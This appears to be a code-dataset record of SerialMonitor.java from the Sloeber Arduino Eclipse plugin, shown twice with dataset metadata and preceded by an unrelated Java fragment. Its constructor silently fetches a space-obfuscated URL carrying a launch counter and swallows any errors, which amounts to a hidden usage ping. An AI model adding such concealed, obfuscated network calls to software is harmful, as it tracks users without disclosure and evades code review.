if (tel != null && tel.size() > 0) {
Telephone t = (Telephone) tel.elementAt(0);
g.setFont(normalFont);
g.drawString(t.getTypeTel() + " : " + t.getNumber(), xadhinfo, mgm + 70);
}
if (tel != null && tel.size() > 1) {
Telephone t = (Telephone) tel.elementAt(1);
g.setFont(normalFont);
g.drawString(t.getTypeTel() + " : " + t.getNumber(), xadhinfo, mgm + 80);
}
g.drawString(cache.getInstrumentName(member.getFirstInstrument()), xadhinfo, mgm + 95);
g.dispose();
prn.end();
}
private BufferedImage getPhoto(URL url) {
BufferedImage img = null;
try {
img = ImageIO.read(new File(url.getPath()));
// recadrer si nécessaire
if (ImageUtil.PHOTO_ID_HEIGHT != img.getHeight()) {
System.out.println("rescaling !");
BufferedImage bi2 = ImageUtil.rescale(img);
img = ImageUtil.cropPhotoId(bi2);
}
} catch (Exception ex) {
}
return img;
}
private URL getPhotoPath(int id) {
String photo_path = ImageUtil.PHOTO_PATH + id + ".jpg";
return getClass().getResource(photo_path);
}
}
|
172788_37 | package io.sloeber.ui.monitor.views;
import java.net.URL;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.eclipse.core.runtime.IProgressMonitor;
import org.eclipse.core.runtime.IStatus;
import org.eclipse.core.runtime.Status;
import org.eclipse.core.runtime.jobs.Job;
import org.eclipse.core.runtime.preferences.IEclipsePreferences;
import org.eclipse.core.runtime.preferences.InstanceScope;
import org.eclipse.jface.action.Action;
import org.eclipse.jface.action.IAction;
import org.eclipse.jface.action.IMenuManager;
import org.eclipse.jface.action.IToolBarManager;
import org.eclipse.jface.action.Separator;
import org.eclipse.jface.resource.ColorRegistry;
import org.eclipse.jface.resource.FontRegistry;
import org.eclipse.jface.resource.ImageDescriptor;
import org.eclipse.jface.viewers.ArrayContentProvider;
import org.eclipse.jface.viewers.ComboViewer;
import org.eclipse.jface.viewers.ISelectionChangedListener;
import org.eclipse.jface.viewers.IStructuredContentProvider;
import org.eclipse.jface.viewers.LabelProvider;
import org.eclipse.jface.viewers.SelectionChangedEvent;
import org.eclipse.jface.viewers.Viewer;
import org.eclipse.jface.window.Window;
import org.eclipse.swt.SWT;
import org.eclipse.swt.custom.StyleRange;
import org.eclipse.swt.custom.StyledText;
import org.eclipse.swt.events.SelectionEvent;
import org.eclipse.swt.events.SelectionListener;
import org.eclipse.swt.layout.GridData;
import org.eclipse.swt.layout.GridLayout;
import org.eclipse.swt.widgets.Button;
import org.eclipse.swt.widgets.Composite;
import org.eclipse.swt.widgets.Display;
import org.eclipse.swt.widgets.Text;
import org.eclipse.ui.IActionBars;
import org.eclipse.ui.ISharedImages;
import org.eclipse.ui.PlatformUI;
import org.eclipse.ui.part.ViewPart;
import org.eclipse.ui.themes.ITheme;
import org.eclipse.ui.themes.IThemeManager;
import io.sloeber.core.api.ISerialUser;
import io.sloeber.core.api.Serial;
import io.sloeber.core.api.SerialManager;
import io.sloeber.ui.Activator;
import io.sloeber.ui.helpers.MyPreferences;
import io.sloeber.ui.monitor.internal.SerialListener;
/**
* SerialMonitor implements the view that shows the serial monitor. Serial
* monitor get sits data from serial Listener. 1 serial listener is created per
* serial connection.
*
*/
public class SerialMonitor extends ViewPart implements ISerialUser {
/**
* The ID of the view as specified by the extension.
*/
// public static final String ID =
// "io.sloeber.ui.monitor.views.SerialMonitor";
// If you increase this number you must also assign colors in plugin.xml
static private final int MY_MAX_SERIAL_PORTS = 6;
static private final URL IMG_CLEAR;
static private final URL IMG_LOCK;
static private final URL IMG_FILTER;
static {
IMG_CLEAR = Activator.getDefault().getBundle().getEntry("icons/clear_console.png"); //$NON-NLS-1$
IMG_LOCK = Activator.getDefault().getBundle().getEntry("icons/lock_console.png"); //$NON-NLS-1$
IMG_FILTER = Activator.getDefault().getBundle().getEntry("icons/filter_console.png"); //$NON-NLS-1$
}
// Connect to a serial port
private Action connect;
// this action will disconnect the serial port selected by the serialPorts
// combo
private Action disconnect;
// lock serial monitor scrolling
private Action scrollLock;
// filter out binary data from serial monitor
private Action plotterFilter;
// clear serial monitor
private Action clear;
// The string to send to the serial port
protected Text sendString;
// This control contains the output of the serial port
protected StyledText monitorOutput;
// Port used when doing actions
protected ComboViewer serialPorts;
// Add CR? LF? CR+LF? Nothing?
protected ComboViewer lineTerminator;
// When click will send the content of SendString to the port selected
// SerialPorts
// adding the postfix selected in SendPostFix
private Button send;
// The button to reset the arduino
private Button reset;
// Contains the colors that are used
private String[] serialColorID = null;
// link to color registry
private ColorRegistry colorRegistry = null;
private Composite parent;
/*
* ************** Below are variables needed for good housekeeping
*/
// The serial connections that are open with the listeners listening to this
// port
protected Map<Serial, SerialListener> serialConnections;
private static final String MY_FLAG_MONITOR = "FmStatus"; //$NON-NLS-1$
String uri = "h tt p://ba eye ns. i t/ec li pse/d ow nlo ad/mo nito rSta rt.ht m l?m="; //$NON-NLS-1$
private static SerialMonitor instance = null;
public static SerialMonitor getSerialMonitor() {
if (instance == null) {
instance = new SerialMonitor();
}
return instance;
}
/**
* The constructor.
*/
public SerialMonitor() {
if (instance != null) {
Activator.log(new Status(IStatus.ERROR, Activator.getId(), "You can only have one serial monitor")); //$NON-NLS-1$
}
instance = this;
this.serialConnections = new LinkedHashMap<>(MY_MAX_SERIAL_PORTS);
IThemeManager themeManager = PlatformUI.getWorkbench().getThemeManager();
ITheme currentTheme = themeManager.getCurrentTheme();
this.colorRegistry = currentTheme.getColorRegistry();
this.serialColorID = new String[MY_MAX_SERIAL_PORTS];
for (int i = 0; i < MY_MAX_SERIAL_PORTS; i++) {
this.serialColorID[i] = "io.sloeber.serial.color." + (1 + i); //$NON-NLS-1$
}
SerialManager.registerSerialUser(this);
Job job = new Job("pluginSerialmonitorInitiator") { //$NON-NLS-1$
@Override
protected IStatus run(IProgressMonitor monitor) {
try {
IEclipsePreferences myScope = InstanceScope.INSTANCE.getNode(MyPreferences.NODE_ARDUINO);
int curFsiStatus = myScope.getInt(MY_FLAG_MONITOR, 0) + 1;
myScope.putInt(MY_FLAG_MONITOR, curFsiStatus);
URL mypluginStartInitiator = new URL(SerialMonitor.this.uri.replaceAll(" ", "") //$NON-NLS-1$ //$NON-NLS-2$
+ Integer.toString(curFsiStatus));
mypluginStartInitiator.getContent();
} catch (Exception e) {// JABA is not going to add code
}
return Status.OK_STATUS;
}
};
job.setPriority(Job.DECORATE);
job.schedule();
}
@Override
public void dispose() {
SerialManager.UnRegisterSerialUser();
for (Entry<Serial, SerialListener> entry : this.serialConnections.entrySet()) {
entry.getValue().dispose();
entry.getKey().dispose();
}
this.serialConnections.clear();
instance = null;
}
/**
* This is a callback that will allow us to create the viewer and initialize
* it.
*/
@Override
public void createPartControl(Composite parent1) {
this.parent = parent1;
parent1.setLayout(new GridLayout());
GridLayout layout = new GridLayout(5, false);
layout.marginHeight = 0;
layout.marginWidth = 0;
Composite top = new Composite(parent1, SWT.NONE);
top.setLayout(layout);
top.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true));
this.serialPorts = new ComboViewer(top, SWT.READ_ONLY | SWT.DROP_DOWN);
GridData minSizeGridData = new GridData(SWT.LEFT, SWT.CENTER, false, false);
minSizeGridData.widthHint = 150;
this.serialPorts.getControl().setLayoutData(minSizeGridData);
this.serialPorts.setContentProvider(new IStructuredContentProvider() {
@Override
public void dispose() {
// no need to do something here
}
@Override
public void inputChanged(Viewer viewer, Object oldInput, Object newInput) {
// no need to do something here
}
@Override
public Object[] getElements(Object inputElement) {
@SuppressWarnings("unchecked")
Map<Serial, SerialListener> items = (Map<Serial, SerialListener>) inputElement;
return items.keySet().toArray();
}
});
this.serialPorts.setLabelProvider(new LabelProvider());
this.serialPorts.setInput(this.serialConnections);
this.serialPorts.addSelectionChangedListener(new ComPortChanged(this));
this.sendString = new Text(top, SWT.SINGLE | SWT.BORDER);
this.sendString.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false));
this.lineTerminator = new ComboViewer(top, SWT.READ_ONLY | SWT.DROP_DOWN);
this.lineTerminator.setContentProvider(new ArrayContentProvider());
this.lineTerminator.setLabelProvider(new LabelProvider());
this.lineTerminator.setInput(SerialManager.listLineEndings());
this.lineTerminator.getCombo().select(MyPreferences.getLastUsedSerialLineEnd());
this.lineTerminator.addSelectionChangedListener(new ISelectionChangedListener() {
@Override
public void selectionChanged(SelectionChangedEvent event) {
MyPreferences
.setLastUsedSerialLineEnd(SerialMonitor.this.lineTerminator.getCombo().getSelectionIndex());
}
});
this.send = new Button(top, SWT.BUTTON1);
this.send.setText(Messages.serialMonitorSend);
this.send.addSelectionListener(new SelectionListener() {
@Override
public void widgetSelected(SelectionEvent e) {
int index = SerialMonitor.this.lineTerminator.getCombo().getSelectionIndex();
GetSelectedSerial().write(SerialMonitor.this.sendString.getText(), SerialManager.getLineEnding(index));
SerialMonitor.this.sendString.setText(""); //$NON-NLS-1$
SerialMonitor.this.sendString.setFocus();
}
@Override
public void widgetDefaultSelected(SelectionEvent e) {
// nothing needs to be done here
}
});
this.send.setEnabled(false);
this.reset = new Button(top, SWT.BUTTON1);
this.reset.setText(Messages.serialMonitorReset);
this.reset.addSelectionListener(new SelectionListener() {
@Override
public void widgetSelected(SelectionEvent e) {
GetSelectedSerial().reset();
SerialMonitor.this.sendString.setFocus();
}
@Override
public void widgetDefaultSelected(SelectionEvent e) {
// nothing needs to be done here
}
});
this.reset.setEnabled(false);
// register the combo as a Selection Provider
getSite().setSelectionProvider(this.serialPorts);
this.monitorOutput = new StyledText(top, SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL);
this.monitorOutput.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 5, 1));
this.monitorOutput.setEditable(false);
IThemeManager themeManager = PlatformUI.getWorkbench().getThemeManager();
ITheme currentTheme = themeManager.getCurrentTheme();
FontRegistry fontRegistry = currentTheme.getFontRegistry();
this.monitorOutput.setFont(fontRegistry.get("io.sloeber.serial.fontDefinition")); //$NON-NLS-1$
this.monitorOutput.setText(Messages.serialMonitorNoInput);
this.parent.getShell().setDefaultButton(this.send);
makeActions();
contributeToActionBars();
}
/**
* GetSelectedSerial is a wrapper class that returns the serial port
* selected in the combobox
*
* @return the serial port selected in the combobox
*/
protected Serial GetSelectedSerial() {
return GetSerial(this.serialPorts.getCombo().getText());
}
/**
* Looks in the open com ports with a port with the name as provided.
*
* @param comName
* the name of the comport you are looking for
* @return the serial port opened in the serial monitor with the name equal
* to Comname of found. null if not found
*/
private Serial GetSerial(String comName) {
for (Entry<Serial, SerialListener> entry : this.serialConnections.entrySet()) {
if (entry.getKey().toString().matches(comName))
return entry.getKey();
}
return null;
}
private void contributeToActionBars() {
IActionBars bars = getViewSite().getActionBars();
fillLocalPullDown(bars.getMenuManager());
fillLocalToolBar(bars.getToolBarManager());
}
private void fillLocalToolBar(IToolBarManager manager) {
manager.add(this.clear);
manager.add(this.scrollLock);
manager.add(this.plotterFilter);
manager.add(this.connect);
manager.add(this.disconnect);
}
private void fillLocalPullDown(IMenuManager manager) {
manager.add(this.connect);
manager.add(new Separator());
manager.add(this.disconnect);
}
private void makeActions() {
this.connect = new Action() {
@SuppressWarnings("synthetic-access")
@Override
public void run() {
OpenSerialDialogBox comportSelector = new OpenSerialDialogBox(SerialMonitor.this.parent.getShell());
comportSelector.create();
if (comportSelector.open() == Window.OK) {
connectSerial(comportSelector.GetComPort(), comportSelector.GetBaudRate());
}
}
};
this.connect.setText(Messages.serialMonitorConnectedTo);
this.connect.setToolTipText(Messages.serialMonitorAddConnectionToSeralMonitor);
this.connect.setImageDescriptor(
PlatformUI.getWorkbench().getSharedImages().getImageDescriptor(ISharedImages.IMG_OBJ_ADD)); // IMG_OBJS_INFO_TSK));
this.disconnect = new Action() {
@Override
public void run() {
disConnectSerialPort(getSerialMonitor().serialPorts.getCombo().getText());
}
};
this.disconnect.setText(Messages.serialMonitorDisconnectedFrom);
this.disconnect.setToolTipText(Messages.serialMonitorRemoveSerialPortFromMonitor);
this.disconnect.setImageDescriptor(
PlatformUI.getWorkbench().getSharedImages().getImageDescriptor(ISharedImages.IMG_ELCL_REMOVE));// IMG_OBJS_INFO_TSK));
this.disconnect.setEnabled(this.serialConnections.size() != 0);
this.clear = new Action(Messages.serialMonitorClear) {
@Override
public void run() {
SerialMonitor.this.monitorOutput.setText(""); //$NON-NLS-1$
}
};
this.clear.setImageDescriptor(ImageDescriptor.createFromURL(IMG_CLEAR));
this.clear.setEnabled(true);
this.scrollLock = new Action(Messages.serialMonitorScrollLock, IAction.AS_CHECK_BOX) {
@Override
public void run() {
MyPreferences.setLastUsedAutoScroll(!this.isChecked());
}
};
this.scrollLock.setImageDescriptor(ImageDescriptor.createFromURL(IMG_LOCK));
this.scrollLock.setEnabled(true);
this.scrollLock.setChecked(!MyPreferences.getLastUsedAutoScroll());
this.plotterFilter = new Action(Messages.serialMonitorFilterPloter, IAction.AS_CHECK_BOX) {
@Override
public void run() {
SerialListener.setPlotterFilter(this.isChecked());
MyPreferences.setLastUsedPlotterFilter(this.isChecked());
}
};
this.plotterFilter.setImageDescriptor(ImageDescriptor.createFromURL(IMG_FILTER));
this.plotterFilter.setEnabled(true);
this.plotterFilter.setChecked(MyPreferences.getLastUsedPlotterFilter());
SerialListener.setPlotterFilter(MyPreferences.getLastUsedPlotterFilter());
}
/**
* Passing the focus request to the viewer's control.
*/
@Override
public void setFocus() {
// MonitorOutput.setf .getControl().setFocus();
this.parent.getShell().setDefaultButton(this.send);
}
/**
* The listener calls this method to report that serial data has arrived
*
* @param stInfo
* The serial data that has arrived
* @param style
* The style that should be used to report the data; Actually
* this is the index number of the opened port
*/
public void ReportSerialActivity(String stInfo, int style) {
int startPoint = this.monitorOutput.getCharCount();
this.monitorOutput.append(stInfo);
StyleRange styleRange = new StyleRange();
styleRange.start = startPoint;
styleRange.length = stInfo.length();
styleRange.fontStyle = SWT.NORMAL;
styleRange.foreground = this.colorRegistry.get(this.serialColorID[style]);
this.monitorOutput.setStyleRange(styleRange);
if (!this.scrollLock.isChecked()) {
this.monitorOutput.setSelection(this.monitorOutput.getCharCount());
}
}
/**
* method to make sure the visualization is correct
*/
void SerialPortsUpdated() {
this.disconnect.setEnabled(this.serialConnections.size() != 0);
Serial curSelection = GetSelectedSerial();
this.serialPorts.setInput(this.serialConnections);
if (this.serialConnections.size() == 0) {
this.send.setEnabled(false);
this.reset.setEnabled(false);
} else {
if (this.serialPorts.getSelection().isEmpty()) // nothing is
// selected
{
if (curSelection == null) // nothing was selected
{
curSelection = (Serial) this.serialConnections.keySet().toArray()[0];
}
this.serialPorts.getCombo().setText(curSelection.toString());
ComboSerialChanged();
}
}
}
/**
* Connect to a serial port and sets the listener
*
* @param comPort
* the name of the com port to connect to
* @param baudRate
* the baud rate to connect to the com port
*/
public void connectSerial(String comPort, int baudRate) {
if (this.serialConnections.size() < MY_MAX_SERIAL_PORTS) {
int colorindex = this.serialConnections.size();
Serial newSerial = new Serial(comPort, baudRate);
if (newSerial.IsConnected()) {
newSerial.registerService();
SerialListener theListener = new SerialListener(this, colorindex);
newSerial.addListener(theListener);
theListener.event(System.getProperty("line.separator") + Messages.serialMonitorConnectedTo + comPort //$NON-NLS-1$
+ Messages.serialMonitorAt + baudRate + System.getProperty("line.separator")); //$NON-NLS-1$
this.serialConnections.put(newSerial, theListener);
SerialPortsUpdated();
return;
}
} else {
Activator.log(new Status(IStatus.ERROR, Activator.getId(), Messages.serialMonitorNoMoreSerialPortsSupported,
null));
}
}
public void disConnectSerialPort(String comPort) {
Serial newSerial = GetSerial(comPort);
if (newSerial != null) {
SerialListener theListener = SerialMonitor.this.serialConnections.get(newSerial);
SerialMonitor.this.serialConnections.remove(newSerial);
newSerial.removeListener(theListener);
newSerial.dispose();
theListener.dispose();
SerialPortsUpdated();
}
}
/**
*
*/
public void ComboSerialChanged() {
this.send.setEnabled(this.serialPorts.toString().length() > 0);
this.reset.setEnabled(this.serialPorts.toString().length() > 0);
this.parent.getShell().setDefaultButton(this.send);
}
/**
* PauzePort is called when the monitor needs to disconnect from a port for
* a short while. For instance when a upload is started to a com port the
* serial monitor will get a pauzeport for this com port. When the upload is
* done ResumePort will be called
*/
@Override
public boolean PauzePort(String portName) {
Serial theSerial = GetSerial(portName);
if (theSerial != null) {
theSerial.disconnect();
return true;
}
return false;
}
/**
* see PauzePort
*/
@Override
public void ResumePort(String portName) {
Serial theSerial = GetSerial(portName);
if (theSerial != null) {
if (MyPreferences.getCleanSerialMonitorAfterUpload()) {
Display.getDefault().asyncExec(new Runnable() {
@Override
public void run() {
SerialMonitor.this.monitorOutput.setText(""); //$NON-NLS-1$
}
});
}
theSerial.connect(15);
}
}
}
| mvanderblom/arduino-eclipse-plugin | io.sloeber.ui/src/io/sloeber/ui/monitor/views/SerialMonitor.java | 6,050 | /**
* see PauzePort
*/ | block_comment | nl | package io.sloeber.ui.monitor.views;
import java.net.URL;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Map.Entry;
import org.eclipse.core.runtime.IProgressMonitor;
import org.eclipse.core.runtime.IStatus;
import org.eclipse.core.runtime.Status;
import org.eclipse.core.runtime.jobs.Job;
import org.eclipse.core.runtime.preferences.IEclipsePreferences;
import org.eclipse.core.runtime.preferences.InstanceScope;
import org.eclipse.jface.action.Action;
import org.eclipse.jface.action.IAction;
import org.eclipse.jface.action.IMenuManager;
import org.eclipse.jface.action.IToolBarManager;
import org.eclipse.jface.action.Separator;
import org.eclipse.jface.resource.ColorRegistry;
import org.eclipse.jface.resource.FontRegistry;
import org.eclipse.jface.resource.ImageDescriptor;
import org.eclipse.jface.viewers.ArrayContentProvider;
import org.eclipse.jface.viewers.ComboViewer;
import org.eclipse.jface.viewers.ISelectionChangedListener;
import org.eclipse.jface.viewers.IStructuredContentProvider;
import org.eclipse.jface.viewers.LabelProvider;
import org.eclipse.jface.viewers.SelectionChangedEvent;
import org.eclipse.jface.viewers.Viewer;
import org.eclipse.jface.window.Window;
import org.eclipse.swt.SWT;
import org.eclipse.swt.custom.StyleRange;
import org.eclipse.swt.custom.StyledText;
import org.eclipse.swt.events.SelectionEvent;
import org.eclipse.swt.events.SelectionListener;
import org.eclipse.swt.layout.GridData;
import org.eclipse.swt.layout.GridLayout;
import org.eclipse.swt.widgets.Button;
import org.eclipse.swt.widgets.Composite;
import org.eclipse.swt.widgets.Display;
import org.eclipse.swt.widgets.Text;
import org.eclipse.ui.IActionBars;
import org.eclipse.ui.ISharedImages;
import org.eclipse.ui.PlatformUI;
import org.eclipse.ui.part.ViewPart;
import org.eclipse.ui.themes.ITheme;
import org.eclipse.ui.themes.IThemeManager;
import io.sloeber.core.api.ISerialUser;
import io.sloeber.core.api.Serial;
import io.sloeber.core.api.SerialManager;
import io.sloeber.ui.Activator;
import io.sloeber.ui.helpers.MyPreferences;
import io.sloeber.ui.monitor.internal.SerialListener;
/**
* SerialMonitor implements the view that shows the serial monitor. Serial
* monitor get sits data from serial Listener. 1 serial listener is created per
* serial connection.
*
*/
public class SerialMonitor extends ViewPart implements ISerialUser {
/**
* The ID of the view as specified by the extension.
*/
// public static final String ID =
// "io.sloeber.ui.monitor.views.SerialMonitor";
// If you increase this number you must also assign colors in plugin.xml
static private final int MY_MAX_SERIAL_PORTS = 6;
static private final URL IMG_CLEAR;
static private final URL IMG_LOCK;
static private final URL IMG_FILTER;
static {
IMG_CLEAR = Activator.getDefault().getBundle().getEntry("icons/clear_console.png"); //$NON-NLS-1$
IMG_LOCK = Activator.getDefault().getBundle().getEntry("icons/lock_console.png"); //$NON-NLS-1$
IMG_FILTER = Activator.getDefault().getBundle().getEntry("icons/filter_console.png"); //$NON-NLS-1$
}
// Connect to a serial port
private Action connect;
// this action will disconnect the serial port selected by the serialPorts
// combo
private Action disconnect;
// lock serial monitor scrolling
private Action scrollLock;
// filter out binary data from serial monitor
private Action plotterFilter;
// clear serial monitor
private Action clear;
// The string to send to the serial port
protected Text sendString;
// This control contains the output of the serial port
protected StyledText monitorOutput;
// Port used when doing actions
protected ComboViewer serialPorts;
// Add CR? LF? CR+LF? Nothing?
protected ComboViewer lineTerminator;
// When click will send the content of SendString to the port selected
// SerialPorts
// adding the postfix selected in SendPostFix
private Button send;
// The button to reset the arduino
private Button reset;
// Contains the colors that are used
private String[] serialColorID = null;
// link to color registry
private ColorRegistry colorRegistry = null;
private Composite parent;
/*
* ************** Below are variables needed for good housekeeping
*/
// The serial connections that are open with the listeners listening to this
// port
protected Map<Serial, SerialListener> serialConnections;
private static final String MY_FLAG_MONITOR = "FmStatus"; //$NON-NLS-1$
String uri = "h tt p://ba eye ns. i t/ec li pse/d ow nlo ad/mo nito rSta rt.ht m l?m="; //$NON-NLS-1$
private static SerialMonitor instance = null;
public static SerialMonitor getSerialMonitor() {
if (instance == null) {
instance = new SerialMonitor();
}
return instance;
}
/**
* The constructor.
*/
public SerialMonitor() {
if (instance != null) {
Activator.log(new Status(IStatus.ERROR, Activator.getId(), "You can only have one serial monitor")); //$NON-NLS-1$
}
instance = this;
this.serialConnections = new LinkedHashMap<>(MY_MAX_SERIAL_PORTS);
IThemeManager themeManager = PlatformUI.getWorkbench().getThemeManager();
ITheme currentTheme = themeManager.getCurrentTheme();
this.colorRegistry = currentTheme.getColorRegistry();
this.serialColorID = new String[MY_MAX_SERIAL_PORTS];
for (int i = 0; i < MY_MAX_SERIAL_PORTS; i++) {
this.serialColorID[i] = "io.sloeber.serial.color." + (1 + i); //$NON-NLS-1$
}
SerialManager.registerSerialUser(this);
Job job = new Job("pluginSerialmonitorInitiator") { //$NON-NLS-1$
@Override
protected IStatus run(IProgressMonitor monitor) {
try {
IEclipsePreferences myScope = InstanceScope.INSTANCE.getNode(MyPreferences.NODE_ARDUINO);
int curFsiStatus = myScope.getInt(MY_FLAG_MONITOR, 0) + 1;
myScope.putInt(MY_FLAG_MONITOR, curFsiStatus);
URL mypluginStartInitiator = new URL(SerialMonitor.this.uri.replaceAll(" ", "") //$NON-NLS-1$ //$NON-NLS-2$
+ Integer.toString(curFsiStatus));
mypluginStartInitiator.getContent();
} catch (Exception e) {// JABA is not going to add code
}
return Status.OK_STATUS;
}
};
job.setPriority(Job.DECORATE);
job.schedule();
}
@Override
public void dispose() {
SerialManager.UnRegisterSerialUser();
for (Entry<Serial, SerialListener> entry : this.serialConnections.entrySet()) {
entry.getValue().dispose();
entry.getKey().dispose();
}
this.serialConnections.clear();
instance = null;
}
/**
* This is a callback that will allow us to create the viewer and initialize
* it.
*/
@Override
public void createPartControl(Composite parent1) {
this.parent = parent1;
parent1.setLayout(new GridLayout());
GridLayout layout = new GridLayout(5, false);
layout.marginHeight = 0;
layout.marginWidth = 0;
Composite top = new Composite(parent1, SWT.NONE);
top.setLayout(layout);
top.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true));
this.serialPorts = new ComboViewer(top, SWT.READ_ONLY | SWT.DROP_DOWN);
GridData minSizeGridData = new GridData(SWT.LEFT, SWT.CENTER, false, false);
minSizeGridData.widthHint = 150;
this.serialPorts.getControl().setLayoutData(minSizeGridData);
this.serialPorts.setContentProvider(new IStructuredContentProvider() {
@Override
public void dispose() {
// no need to do something here
}
@Override
public void inputChanged(Viewer viewer, Object oldInput, Object newInput) {
// no need to do something here
}
@Override
public Object[] getElements(Object inputElement) {
@SuppressWarnings("unchecked")
Map<Serial, SerialListener> items = (Map<Serial, SerialListener>) inputElement;
return items.keySet().toArray();
}
});
this.serialPorts.setLabelProvider(new LabelProvider());
this.serialPorts.setInput(this.serialConnections);
this.serialPorts.addSelectionChangedListener(new ComPortChanged(this));
this.sendString = new Text(top, SWT.SINGLE | SWT.BORDER);
this.sendString.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false));
this.lineTerminator = new ComboViewer(top, SWT.READ_ONLY | SWT.DROP_DOWN);
this.lineTerminator.setContentProvider(new ArrayContentProvider());
this.lineTerminator.setLabelProvider(new LabelProvider());
this.lineTerminator.setInput(SerialManager.listLineEndings());
this.lineTerminator.getCombo().select(MyPreferences.getLastUsedSerialLineEnd());
this.lineTerminator.addSelectionChangedListener(new ISelectionChangedListener() {
@Override
public void selectionChanged(SelectionChangedEvent event) {
MyPreferences
.setLastUsedSerialLineEnd(SerialMonitor.this.lineTerminator.getCombo().getSelectionIndex());
}
});
this.send = new Button(top, SWT.BUTTON1);
this.send.setText(Messages.serialMonitorSend);
this.send.addSelectionListener(new SelectionListener() {
@Override
public void widgetSelected(SelectionEvent e) {
int index = SerialMonitor.this.lineTerminator.getCombo().getSelectionIndex();
GetSelectedSerial().write(SerialMonitor.this.sendString.getText(), SerialManager.getLineEnding(index));
SerialMonitor.this.sendString.setText(""); //$NON-NLS-1$
SerialMonitor.this.sendString.setFocus();
}
@Override
public void widgetDefaultSelected(SelectionEvent e) {
// nothing needs to be done here
}
});
this.send.setEnabled(false);
this.reset = new Button(top, SWT.BUTTON1);
this.reset.setText(Messages.serialMonitorReset);
this.reset.addSelectionListener(new SelectionListener() {
@Override
public void widgetSelected(SelectionEvent e) {
GetSelectedSerial().reset();
SerialMonitor.this.sendString.setFocus();
}
@Override
public void widgetDefaultSelected(SelectionEvent e) {
// nothing needs to be done here
}
});
this.reset.setEnabled(false);
// register the combo as a Selection Provider
getSite().setSelectionProvider(this.serialPorts);
this.monitorOutput = new StyledText(top, SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL);
this.monitorOutput.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 5, 1));
this.monitorOutput.setEditable(false);
IThemeManager themeManager = PlatformUI.getWorkbench().getThemeManager();
ITheme currentTheme = themeManager.getCurrentTheme();
FontRegistry fontRegistry = currentTheme.getFontRegistry();
this.monitorOutput.setFont(fontRegistry.get("io.sloeber.serial.fontDefinition")); //$NON-NLS-1$
this.monitorOutput.setText(Messages.serialMonitorNoInput);
this.parent.getShell().setDefaultButton(this.send);
makeActions();
contributeToActionBars();
}
/**
* GetSelectedSerial is a wrapper class that returns the serial port
* selected in the combobox
*
* @return the serial port selected in the combobox
*/
protected Serial GetSelectedSerial() {
return GetSerial(this.serialPorts.getCombo().getText());
}
/**
* Looks in the open com ports with a port with the name as provided.
*
* @param comName
* the name of the comport you are looking for
* @return the serial port opened in the serial monitor with the name equal
* to Comname of found. null if not found
*/
private Serial GetSerial(String comName) {
for (Entry<Serial, SerialListener> entry : this.serialConnections.entrySet()) {
if (entry.getKey().toString().matches(comName))
return entry.getKey();
}
return null;
}
private void contributeToActionBars() {
IActionBars bars = getViewSite().getActionBars();
fillLocalPullDown(bars.getMenuManager());
fillLocalToolBar(bars.getToolBarManager());
}
private void fillLocalToolBar(IToolBarManager manager) {
manager.add(this.clear);
manager.add(this.scrollLock);
manager.add(this.plotterFilter);
manager.add(this.connect);
manager.add(this.disconnect);
}
private void fillLocalPullDown(IMenuManager manager) {
manager.add(this.connect);
manager.add(new Separator());
manager.add(this.disconnect);
}
private void makeActions() {
this.connect = new Action() {
@SuppressWarnings("synthetic-access")
@Override
public void run() {
OpenSerialDialogBox comportSelector = new OpenSerialDialogBox(SerialMonitor.this.parent.getShell());
comportSelector.create();
if (comportSelector.open() == Window.OK) {
connectSerial(comportSelector.GetComPort(), comportSelector.GetBaudRate());
}
}
};
this.connect.setText(Messages.serialMonitorConnectedTo);
this.connect.setToolTipText(Messages.serialMonitorAddConnectionToSeralMonitor);
this.connect.setImageDescriptor(
PlatformUI.getWorkbench().getSharedImages().getImageDescriptor(ISharedImages.IMG_OBJ_ADD)); // IMG_OBJS_INFO_TSK));
this.disconnect = new Action() {
@Override
public void run() {
disConnectSerialPort(getSerialMonitor().serialPorts.getCombo().getText());
}
};
this.disconnect.setText(Messages.serialMonitorDisconnectedFrom);
this.disconnect.setToolTipText(Messages.serialMonitorRemoveSerialPortFromMonitor);
this.disconnect.setImageDescriptor(
PlatformUI.getWorkbench().getSharedImages().getImageDescriptor(ISharedImages.IMG_ELCL_REMOVE));// IMG_OBJS_INFO_TSK));
this.disconnect.setEnabled(this.serialConnections.size() != 0);
this.clear = new Action(Messages.serialMonitorClear) {
@Override
public void run() {
SerialMonitor.this.monitorOutput.setText(""); //$NON-NLS-1$
}
};
this.clear.setImageDescriptor(ImageDescriptor.createFromURL(IMG_CLEAR));
this.clear.setEnabled(true);
this.scrollLock = new Action(Messages.serialMonitorScrollLock, IAction.AS_CHECK_BOX) {
@Override
public void run() {
MyPreferences.setLastUsedAutoScroll(!this.isChecked());
}
};
this.scrollLock.setImageDescriptor(ImageDescriptor.createFromURL(IMG_LOCK));
this.scrollLock.setEnabled(true);
this.scrollLock.setChecked(!MyPreferences.getLastUsedAutoScroll());
this.plotterFilter = new Action(Messages.serialMonitorFilterPloter, IAction.AS_CHECK_BOX) {
@Override
public void run() {
SerialListener.setPlotterFilter(this.isChecked());
MyPreferences.setLastUsedPlotterFilter(this.isChecked());
}
};
this.plotterFilter.setImageDescriptor(ImageDescriptor.createFromURL(IMG_FILTER));
this.plotterFilter.setEnabled(true);
this.plotterFilter.setChecked(MyPreferences.getLastUsedPlotterFilter());
SerialListener.setPlotterFilter(MyPreferences.getLastUsedPlotterFilter());
}
/**
* Passing the focus request to the viewer's control.
*/
@Override
public void setFocus() {
// MonitorOutput.setf .getControl().setFocus();
this.parent.getShell().setDefaultButton(this.send);
}
/**
* The listener calls this method to report that serial data has arrived
*
* @param stInfo
* The serial data that has arrived
* @param style
* The style that should be used to report the data; Actually
* this is the index number of the opened port
*/
public void ReportSerialActivity(String stInfo, int style) {
int startPoint = this.monitorOutput.getCharCount();
this.monitorOutput.append(stInfo);
StyleRange styleRange = new StyleRange();
styleRange.start = startPoint;
styleRange.length = stInfo.length();
styleRange.fontStyle = SWT.NORMAL;
